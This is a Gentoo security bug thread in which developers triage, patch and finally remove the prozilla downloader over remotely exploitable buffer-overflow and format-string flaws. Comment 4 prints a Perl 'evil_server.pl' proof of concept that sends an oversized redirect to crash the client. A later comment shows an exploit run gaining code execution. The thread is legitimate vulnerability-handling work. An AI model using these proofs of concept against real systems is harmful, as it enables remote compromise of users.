Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 70090 - www-client/prozilla: multiple vulnerabilities -> Remove from tree
Summary: www-client/prozilla: multiple vulnerabilities -> Remove from tree
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High enhancement (vote)
Assignee: Gentoo Security
URL:
Whiteboard: B2 [upstream+ masked] koon
Keywords:
: 81684 (view as bug list)
Depends on:
Blocks:
 
Reported: 2004-11-04 13:46 UTC by Robert Muchacki (RETIRED)
Modified: 2006-09-02 18:52 UTC (History)
10 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments
...the first diff.... (diff1.diff,1.88 KB, patch)
2004-11-05 03:50 UTC, Florian Schilhabel (RETIRED)
no flags Details | Diff
updated ebuild for new prozilla release (prozilla-1.3.7.3.ebuild,858 bytes, text/plain)
2005-01-25 14:04 UTC, Karl Steddom
no flags Details
Prozilla 1.3.7.4 ebuild (prozilla-1.3.7.4.ebuild,859 bytes, text/plain)
2005-03-28 09:33 UTC, Aniruddha Shankar
no flags Details
prozilla poc (exploit.c,1.25 KB, text/plain)
2005-09-02 16:49 UTC, Tavis Ormandy (RETIRED)
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description Robert Muchacki (RETIRED) gentoo-dev 2004-11-04 13:46:21 UTC
I know this is kind of stupid bug report, but, what the heck. There is some kind of major bug in prozilla that allows one to get control over a linux box.

There is this guy on IRC that tell people to download a file from a server, to "test" something - the next thing that happens, he has control over the box. If one has installed grsec - prozilla segfaults.

I'm looking at the code of prozilla, but see nothing. Pleas help.

Reproducible: Always
Steps to Reproduce:
1.
2.
3.
Comment 1 Thierry Carrez (RETIRED) gentoo-dev 2004-11-04 13:50:18 UTC
Setting this as an Audit request...
rootshell/anyone else in Audit: could you have a look ?
Comment 2 Karol Wojtaszek (RETIRED) gentoo-dev 2004-11-04 14:12:54 UTC
I think it is buffer underflow bug, because when one of us compiled prozilla with -fstack-protector he couldn't get on computer
Comment 3 Florian Schilhabel (RETIRED) gentoo-dev 2004-11-04 15:20:37 UTC
ok,
it is a little late today:
there goes the first:

i think, it it possible to crash the program via an permanent_moved directive:
it gives a new URL to parse for prozilla:

to test, the following (local code) is sufficient:
proz http://www.google.com/`perl -e 'print "A"x2580'`
Connect OK!Segmentation fault (core dumped)

affected function:
-- http.c --
/* We will get http info about the file by calling http_fetch_headers 
   with HEAD */


    sprintf(buffer,
	    "HEAD %s HTTP/1.0\r\nUser-Agent: %s%s\r\nHost: %s\r\nAccept: */*\r\n%s%s\r\n",
	    u->path, PACKAGE_NAME, VERSION, u->host, 
	    referer ? referer : "",
	    wwwauth ? wwwauth : "");

    debug_prz("HTTP request= %s\n", buffer);

    err = http_fetch_headers(sock, u, hs, buffer);
    close(sock);

    if (wwwauth)
	free(wwwauth);
    /*Check if we authenticated using any user or password and if we 
       were kicked out, if so return HAUTHFAIL */
    if (err == HAUTHREQ && (strlen(user) || strlen(passwd)))
	return HAUTHFAIL;

    return err;
}

... i guess, there are other bugs...

will look more closer tomorrow...

best regards
florian [rootshell]

Comment 4 Florian Schilhabel (RETIRED) gentoo-dev 2004-11-04 15:54:18 UTC
ok, proof of concept:

-- evil_server.pl --
#!/usr/bin/perl

use IO::Socket;

$server = IO::Socket::INET->new(LocalPort => 2040,
                                Type      => SOCK_STREAM,
                                Reuse     => 1,
                                Listen    => 10 )
    or die "Couldn't be a tcp server on port 2040 : $@\n";

while ($client = $server->accept()) {
	sleep 0.1;
	print $client "HTTP/1.0 301 Moved permanently\n";
		print $client "Location: http://localhost:2040/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n";
	print $client "Content-Type: text/html\n";
	print $client "Server: GWS/2.1\n\n";


	
}

close($server);

-- eof --


just do a
proz http://localhost:2040/test

... and you will get instant
Connect OK!Segmentation fault (core dumped)

best regards
florian [rootshell]
Comment 5 Dan Margolis (RETIRED) gentoo-dev 2004-11-04 21:19:29 UTC
This application looks like it could use a bit of an audit. I've already found a few array bounds checking bugs, though not as yet exploitable by anyone but the user (by passing an over-long URL at the command line, he can execute code as himself--woohoo!). 

I'm looking over it a bit now. 
Comment 6 Dan Margolis (RETIRED) gentoo-dev 2004-11-04 21:57:18 UTC
Looks like similar vulnerable code to that rootshell found already in http-retr.c, lines 360 and 192. Also in ftpsearch.c and probably other places (ftp-retr.c, probably). 

Basically, if one can set the urlinfo u->file variable that gets passed around, one can take advantage of an assumed maximum file length in a very large number of functions, including those in logfile.c, main.c's ftp_allocate_connections, http_allocate_connections, query_resume_old_download, and pretty much any other place that prints u->file into a buffer of length MAXPATHLEN. 

Florian, am I right in understanding that the permanent-move directive allows a malicious server to set this variable to a length larger than MAXPATHLEN? If so, patching will hardly be trivial, though fortunately the code is consistent enough that tracking down most vulns should be easy enough. 

If any of this is incoherent, it's lack of sleep. I'll try to do something about this tomorrow (the bug, not my lack of sleep). 
Comment 7 Florian Schilhabel (RETIRED) gentoo-dev 2004-11-05 02:42:29 UTC
hi,
yes, you are right
the function to build the actual request is called from the commandline
(commandline overflow)
and if the server gives a permanently moved, the new GET / HEAD request
is constructed using the same function.
thats basically, why this thing is remote exploitable...
one personal note:
i looked at the code yesterday for only about 20 minutes; it was ~23:00 hrs...
this application is _not_ coded with security in mind...
it lacks bounds checking all over the place...
krispy:
i will look over the code a little;
will you please post offending code you found here in bugzilla?
i will do the same...

best regards
florian [rootshell]
 
Comment 8 Florian Schilhabel (RETIRED) gentoo-dev 2004-11-05 03:50:29 UTC
Created attachment 43329 [details, diff]
...the first diff....

this is the first diff.
just what i found yesterday.
at least, prozilla doesn't segfault any more with the evil_server.pl...

more to come...
best regards
florian [rootshell]
Comment 9 Dan Margolis (RETIRED) gentoo-dev 2004-11-05 09:46:03 UTC
Following some discussion on IRC, Florian and I agree that providing a comprehensive set of fixes for a problem that is spread throughout this code, or, really, being able to provide any assurance of having fixed this, would be pretty time-consuming. Given that prozilla doesn't, as far as I can tell, provide anything that any other downloader doesn't, and given that according to the website development's been dead for 2 years, I say we issue a GLSA and hard-mask it in portage. If the upstream or package maintainer want to fix it, that'd be great, but it doesn't seem worth the effort for us to go about this ourselves. 
Comment 10 Robert Muchacki (RETIRED) gentoo-dev 2004-11-05 09:54:56 UTC
I sure do agree. There is to much of patching and stuff. It'll be better just to write it from the beggining :)

Hardmask it and get rid of it :/

I suggest to check if it isn't in /etc/make.conf.example as one of the examples for a downloader instead of wget...
Comment 11 Dan Margolis (RETIRED) gentoo-dev 2004-11-05 10:08:57 UTC
Re: Comment #10, it doesn't seem to be in mine. 
Comment 12 Thierry Carrez (RETIRED) gentoo-dev 2004-11-05 11:44:40 UTC
If it's a mess, masking may be the only solution.

I don't like publishing masking GLSAs too much, it shows we don't know how/want to patch things like other distribution do. However, masking without issuing a GLSA does not warn existing users... maybe publishing only to gentoo-announce ?
Comment 13 Dan Margolis (RETIRED) gentoo-dev 2004-11-05 12:24:09 UTC
I've emailed the upstream maintainer to see if he wants to fix it. Depending on his response, we can either mask it or update it. Metadata is missing, so I don't knoww who the Gentoo package maintainer is...

Koon, Re: Comment #12, I don't think it's fair to not make the GLSA as public as possible. PR should not stand in the way of security, and it's beneficial not just to our users but to other users of prozilla to see this. If some other distro is willing to patch prozilla, we can use their patch, but if not, they're going to be masking it just as we are. 

Alternatively, tell the other distros in advance, see if one of them will patch it, and get their patch :P
Comment 14 Chris White (RETIRED) gentoo-dev 2004-11-05 22:01:39 UTC
Looking at this bug in greater detail.

I'll be taking care of getting it allllllllllll patched :P.
Comment 15 Robert Muchacki (RETIRED) gentoo-dev 2004-11-21 10:52:36 UTC
Any progress with this bug? It is still vulnerable - and there is no GLSA out about this... Maybe make a move?
Comment 16 solar (RETIRED) gentoo-dev 2004-11-21 11:05:38 UTC
Re comment #15 
We don't issue GLSA's for things that have not been fixed.
Comment 17 Robert Muchacki (RETIRED) gentoo-dev 2004-11-21 11:34:43 UTC
That's what I'm talking about - is there any progress with this?

If it will last long, I suggest to hard-mask it until it is fixed (atleast).
Comment 18 Thierry Carrez (RETIRED) gentoo-dev 2004-11-21 13:55:15 UTC
There is an exploitable and maybe exploited vuln in there, so switching to Vulnerability component.

Chris said he would look into providing a complete set of fixes, but it's taking time. So I would say we should mask the package and issue a GLSA about it.

Re: comment #12, Krispy, any answer from upstream ?
Comment 19 Dan Margolis (RETIRED) gentoo-dev 2004-11-21 18:00:50 UTC
Koon: I was comment #13 :P. I said mask from the beginning. No comment from upstream, and if ChrisWhite wants to fix, great, but it'll probably take him some time (track him down and ask, if you want, though). 
Comment 20 solar (RETIRED) gentoo-dev 2004-11-22 09:43:51 UTC
# <solar@gentoo.org> (22 Nov 2004)
# www-client/prozilla: multiple vulnerabilities bug #70090
# Security masked and will probably be removed.
www-client/prozilla
Comment 21 Thierry Carrez (RETIRED) gentoo-dev 2004-11-22 14:40:03 UTC
Email sent to vendor-sec. Planned release of masking GLSA : Nov 23, 1400 UTC
Comment 22 Thierry Carrez (RETIRED) gentoo-dev 2004-11-23 05:32:24 UTC
Portage team : you should remove the Prozilla FETCHCOMMAND from the make.conf.example file, since we probably won't support it anymore.

# Prozilla (turbo downloader)
#FETCHCOMMAND='/usr/bin/proz --no-getch -s ${URI} -P ${DISTDIR}'
#
Comment 23 Thierry Carrez (RETIRED) gentoo-dev 2004-11-23 07:16:30 UTC
GLSA 200411-31
Comment 24 Sune Kloppenborg Jeppesen gentoo-dev 2004-11-29 00:46:45 UTC
Fixed in 2.0.51-r3 with:

sed -i "/proz /d;/Prozilla/d"               cnf/make.conf*
Comment 25 solar (RETIRED) gentoo-dev 2004-12-04 13:23:02 UTC
I removed all references of prozilla from cnf/make.conf* using comment #24
http://cia.navi.cx/stats/author/solar/.message/3452530
Comment 26 Richard Dawe 2005-01-04 15:41:45 UTC
Please note that I'm working with the authors of prozilla to do a new release (1.3.7.something) with fixes for the security issues. Hopefully that will be released soon.
Comment 27 Sean Covel 2005-01-24 11:54:13 UTC
To All.  A new release of Prozilla 1.3.x just went out the door.  It appears to have corrected the security problems and a few other bugs.  Please take a look at it ASAP.

The new release is on the prozilla website:  http://prozilla.genesys.ro/

There has also been a lot of new developer activity on the prozilla mailing list, and it looks like a new branch has also been started based onlibprozilla, the same library used by ProzGui.

Sean
Comment 28 Karl Steddom 2005-01-25 14:04:01 UTC
Created attachment 49511 [details]
updated ebuild for new prozilla release

updated to the new version of prozilla. Removed 1.3.6 patch for grammer. This
patch has been submitted to the upstream maintainers.
Comment 29 Thierry Carrez (RETIRED) gentoo-dev 2005-02-02 10:40:14 UTC
Sent to gentoo-dev a call for a new Gentoo maintainer or herd to take the reborn package under its wing...
Comment 30 Gustavo Felisberto (RETIRED) gentoo-dev 2005-02-03 06:43:24 UTC
Koon: Saw your mail in -dev If no one else wants this i'll take it over. I'll also be looking at prozgui and if no one else wants that also i'll take it.
Comment 31 Aaron Walker (RETIRED) gentoo-dev 2005-02-03 07:02:25 UTC
1.3.7.3 is in cvs. The old versions have been removed and I've removed prozilla from package.mask.
Comment 32 Thierry Carrez (RETIRED) gentoo-dev 2005-02-04 02:20:54 UTC
Arches: this package used to be stable on all arches, so now it's born again, it must be marked stable too.

Please test and mark stable so that we can update the masking GLSA.
Comment 33 Aaron Walker (RETIRED) gentoo-dev 2005-02-04 02:58:15 UTC
My bad.  I've never messed with a package that had been masked this long.  I figured something masked that long would re-enter ~arch.  Sorry.

Stable on x86.
Comment 34 Homer Parker (RETIRED) gentoo-dev 2005-02-04 17:51:22 UTC
1.3.7.3 works fine here...

emerge --info
Portage 2.0.51-r15 (default-linux/amd64/2005.0, gcc-3.4.3, glibc-2.3.4.20041102-r0, 2.6.10-gentoo-r6 x86_64)
=================================================================
System uname: 2.6.10-gentoo-r6 x86_64 AMD Athlon(tm) 64 Processor 3200+
Gentoo Base System version 1.6.9
Python:              dev-lang/python-2.3.4 [2.3.4 (#1, Jan 30 2005, 21:39:15)]
dev-lang/python:     2.3.4
sys-devel/autoconf:  2.13, 2.59-r6
sys-devel/automake:  1.5, 1.6.3, 1.7.9-r1, 1.4_p6, 1.9.4, 1.8.5-r3
sys-devel/binutils:  2.15.90.0.1.1-r3, 2.15.92.0.2-r2
sys-devel/libtool:   1.5.10-r4
virtual/os-headers:  2.6.8.1-r4
ACCEPT_KEYWORDS="amd64 ~amd64"
AUTOCLEAN="yes"
CFLAGS="-march=k8 -mtune=k8 -fomit-frame-pointer -O2 -pipe"
CHOST="x86_64-pc-linux-gnu"
CONFIG_PROTECT="/etc /usr/kde/2/share/config /usr/kde/3/share/config /usr/lib/X11/xkb /usr/lib/mozilla/defaults/pref /usr/share/config /var/qmail/control"
CONFIG_PROTECT_MASK="/etc/gconf /etc/terminfo /etc/env.d"
CXXFLAGS="-march=k8 -mtune=k8 -fomit-frame-pointer -O2 -pipe"
DISTDIR="/usr/portage/distfiles"
FEATURES="autoaddcvs autoconfig buildpkg ccache distlocks fixpackages sandbox"
GENTOO_MIRRORS="ftp://gentoo.netnitco.net/pub/mirrors/gentoo/source/ ftp://mirrors.tds.net/gentoo ftp://gentoo.ccccom.com"
MAKEOPTS="-j2"
PKGDIR="/usr/portage/packages"
PORTAGE_TMPDIR="/var/tmp"
PORTDIR="/usr/portage"
PORTDIR_OVERLAY="/usr/local/portage"
SYNC="rsync://rsync.gentoo.org/gentoo-portage"
USE="amd64 X acpi alsa bash-completion berkdb bitmap-fonts bonobo bzip2 bzlib cdr crypt css cups dga directfb divx4linux dvd dvdread encode esd ethereal exif f77 fam fbcon flac foomaticdb fortran gdbm geoip gif gimpprint gmp gnome gnomedb gphoto2 gps gstreamer gtk gtk2 gtkhtml howl icq ieee1394 imagemagick imap imlib jabber jp2 jpeg lzw lzw-tiff memlimit mozilla moznocompose moznoirc moznomail mpeg mpi msession msn multislot ncurses nls no-old-linux nodrm nptl nptlonly offensive oggvorbis opengl oscar oss pam pcmcia pcntl pcre pdflib perl pic png pnp posix ppds pthreads python quicktime readline samba sasl sdl session slp speex spell ssl sysvipc szip tcltk tcpd tidy tiff truetype truetype-fonts type1-fonts usb userlocales vim-with-x wxwindows xml2 xmms xpm xrandr xv xvid xvmc yahoo zlib"
Unset:  ASFLAGS, CBUILD, CTARGET, LANG, LC_ALL, LDFLAGS
Comment 35 Simon Stelling (RETIRED) gentoo-dev 2005-02-05 02:12:01 UTC
amd64 stable, thanks hparker
Comment 36 Gustavo Zacarias (RETIRED) gentoo-dev 2005-02-07 12:32:35 UTC
sparc stable.
Comment 37 Thierry Carrez (RETIRED) gentoo-dev 2005-02-08 09:26:04 UTC
ppc please test and mark stable
Comment 38 Luke Macken (RETIRED) gentoo-dev 2005-02-09 10:48:58 UTC
I stumbled across this today:

- - -
  Prozilla vs. Gentoo Security round 2 !@#

  Sometime ago there was a private exploit for Prozilla and due to some
  kiddo who randomly 0wned ppl, all ended up with a Gentoo Security Advisory.
  The exploit got released with a note to another bug in the code.
  Well the 31337 Gent00 Security Team claimed to have audited the code
  and put Prozilla back to portage as fixed.

  The buffer overflow has been fixed (wow what an effort) but the other
  bug is still there!

  Well this either means they dont know what format string bugs are and
  how to spot them (maybe you should better use automated t00lz,if you cant
  do it yourself, as they would have spotted it for sure :P), or they
  simply are lazy and dont give a fuck about your security.

  We support Anti-Disclosure, but this bug isnt of much use anymore and we
  feel like people should know that they better audit code themselfes before
  trusting a Gentoo security fix. Even a automated audit application
  would have done a better job.

  Hey Gentoo, maybe you should try and enlighten yourself about
  format bugs, instead of pretending :P

  But then again, if everyone would audit as g00d as you guys, we'd
  have a lot more fun ;)
- - -

http://www.securiteam.com/exploits/5WP082KEUW.html
Comment 39 Thierry Carrez (RETIRED) gentoo-dev 2005-02-09 13:12:05 UTC
Masked again...

This is an ongoing security problem that disguises itself as a connection spamming tool. My opinion is that we should get rid of it.
Comment 40 Tavis Ormandy (RETIRED) gentoo-dev 2005-02-10 05:51:34 UTC
upstream informed of format string exploit (double expansion in message() -> curses_message()).
Comment 41 Richard Dawe 2005-02-10 13:45:39 UTC
I'll look at doing a new release of prozilla 1.3.7.x to close this further vulnerability.

Please CC bug reports to the prozilla mailing list, prozilla@genesys.ro, because I don't know whether the original author (Kalum) is able to read his mail at the moment.
Comment 42 Luke Macken (RETIRED) gentoo-dev 2005-02-11 18:05:25 UTC
*** Bug 81684 has been marked as a duplicate of this bug. ***
Comment 43 Richard Dawe 2005-03-24 11:36:31 UTC
prozilla 1.3.7.4 is available <http://prozilla.genesys.ro/?p=download>. From NEWS:

"* Support for downloading files > 2GB.

* Fix a remotely exploitable format string security bug.

* Fix bugs in the handling of bad command-line options. Previously
  prozilla would return the success status code, even though it failed.
  Now it returns failure.

* Fix a segfault. This occurred when prozilla could not assemble a file
  due to lack of disk space and the user chose to abort the operation.

* Fix some typos."
Comment 44 Aniruddha Shankar 2005-03-28 09:31:27 UTC
I really need prozilla - I'm on a shared, non-packet-shaped network - so I was concerned when the security vulnerabilities caused the masking of the package. I modified the ebuild that was in portage to come up with one that works with 1.3.7.4 . 

WARNING: the ebuild wouldn't patch the source with prozilla-1.3.7.3-gentoo.diff or  prozilla-expands-format-twice.diff so I commented out those lines. I don't know if that has any major repercussions... would the good folks here please test ?

cheers
Comment 45 Aniruddha Shankar 2005-03-28 09:32:01 UTC
I really need prozilla - I'm on a shared, non-packet-shaped network - so I was concerned when the security vulnerabilities caused the masking of the package. I modified the ebuild that was in portage to come up with one that works with 1.3.7.4 . 

WARNING: the ebuild wouldn't patch the source with prozilla-1.3.7.3-gentoo.diff or  prozilla-expands-format-twice.diff so I commented out those lines. I don't know if that has any major repercussions... would the good folks here please test ?

cheers
Comment 46 Aniruddha Shankar 2005-03-28 09:33:11 UTC
Created attachment 54684 [details]
Prozilla 1.3.7.4 ebuild
Comment 47 Thierry Carrez (RETIRED) gentoo-dev 2005-04-10 10:49:15 UTC
Auditors: could you please have a look at the latest incarnation ? If you think the code is a mess, we probably won't put it back in portage anytime soon...
Comment 48 Michael Hanselmann (hansmi) (RETIRED) gentoo-dev 2005-09-01 09:33:46 UTC
Will anything happen again on this bug? Otherwise I'm going to remove ppc from
the CC list.
Comment 49 Tavis Ormandy (RETIRED) gentoo-dev 2005-09-02 16:48:41 UTC
I had a quick look at the latest prozilla release and spotted a bug that would 
result in arbitrary code execution if an attacker can successfully poison the 
dns cache or any http cache.

Here's an exploit, that works here.

$ proz --ftpsearch http://gentoo.osuosl.org/releases/x86/2005.1/installcd/
install-x86-universal-2005.1.iso
Connect OK!
uid=1000(taviso) gid=100(users) groups=5(tty),6(disk),10(wheel),16(cron)
Comment 50 Tavis Ormandy (RETIRED) gentoo-dev 2005-09-02 16:49:14 UTC
Created attachment 67521 [details]
prozilla poc
Comment 51 Tavis Ormandy (RETIRED) gentoo-dev 2005-09-02 16:59:11 UTC
The bug is the incorrect size passed to strncpy() in get_string_ahref() when 
parsing ftpsearch results, the target is a stack buffer allowing easy 
exploitation.

http cache or dns poisoning can usually be considered a trivial obstacle to 
exploitation.
Comment 52 Sune Kloppenborg Jeppesen gentoo-dev 2005-09-02 21:44:36 UTC
p2p will you inform upstream? 
Comment 53 Thierry Carrez (RETIRED) gentoo-dev 2005-09-03 02:05:48 UTC
Let's kill it and be done with it. I said it's an ongoing security problem that
disguises itself as a connection spamming tool... Now I think it's a trojan
horse that disguises itself as a connection spamming tool.
Comment 54 Tavis Ormandy (RETIRED) gentoo-dev 2005-09-03 04:43:19 UTC
upstream informed.
Comment 55 Aaron Walker (RETIRED) gentoo-dev 2005-09-03 05:28:17 UTC
(In reply to comment #53)
> Let's kill it and be done with it. I said it's an ongoing security problem that
> disguises itself as a connection spamming tool... Now I think it's a trojan
> horse that disguises itself as a connection spamming tool.

Agreed.  You guys should've kept me from saving it the first time :)
Comment 56 Tavis Ormandy (RETIRED) gentoo-dev 2005-09-05 13:29:20 UTC
Closing for now.
Comment 57 Alec Warner archtester Gentoo Infrastructure gentoo-dev Security 2006-05-28 05:39:57 UTC
Sorry, not familiar with your whiteboard syntax ;)  Either way I will send a quick mail to dev about this and punt it if there is no response, it's been masked forever.
Comment 58 Jakub Moc (RETIRED) gentoo-dev 2006-07-15 15:09:08 UTC
@antarus - time to finally punt this. ;) Thanks.
Comment 59 Alec Warner archtester Gentoo Infrastructure gentoo-dev Security 2006-09-02 18:52:19 UTC
removed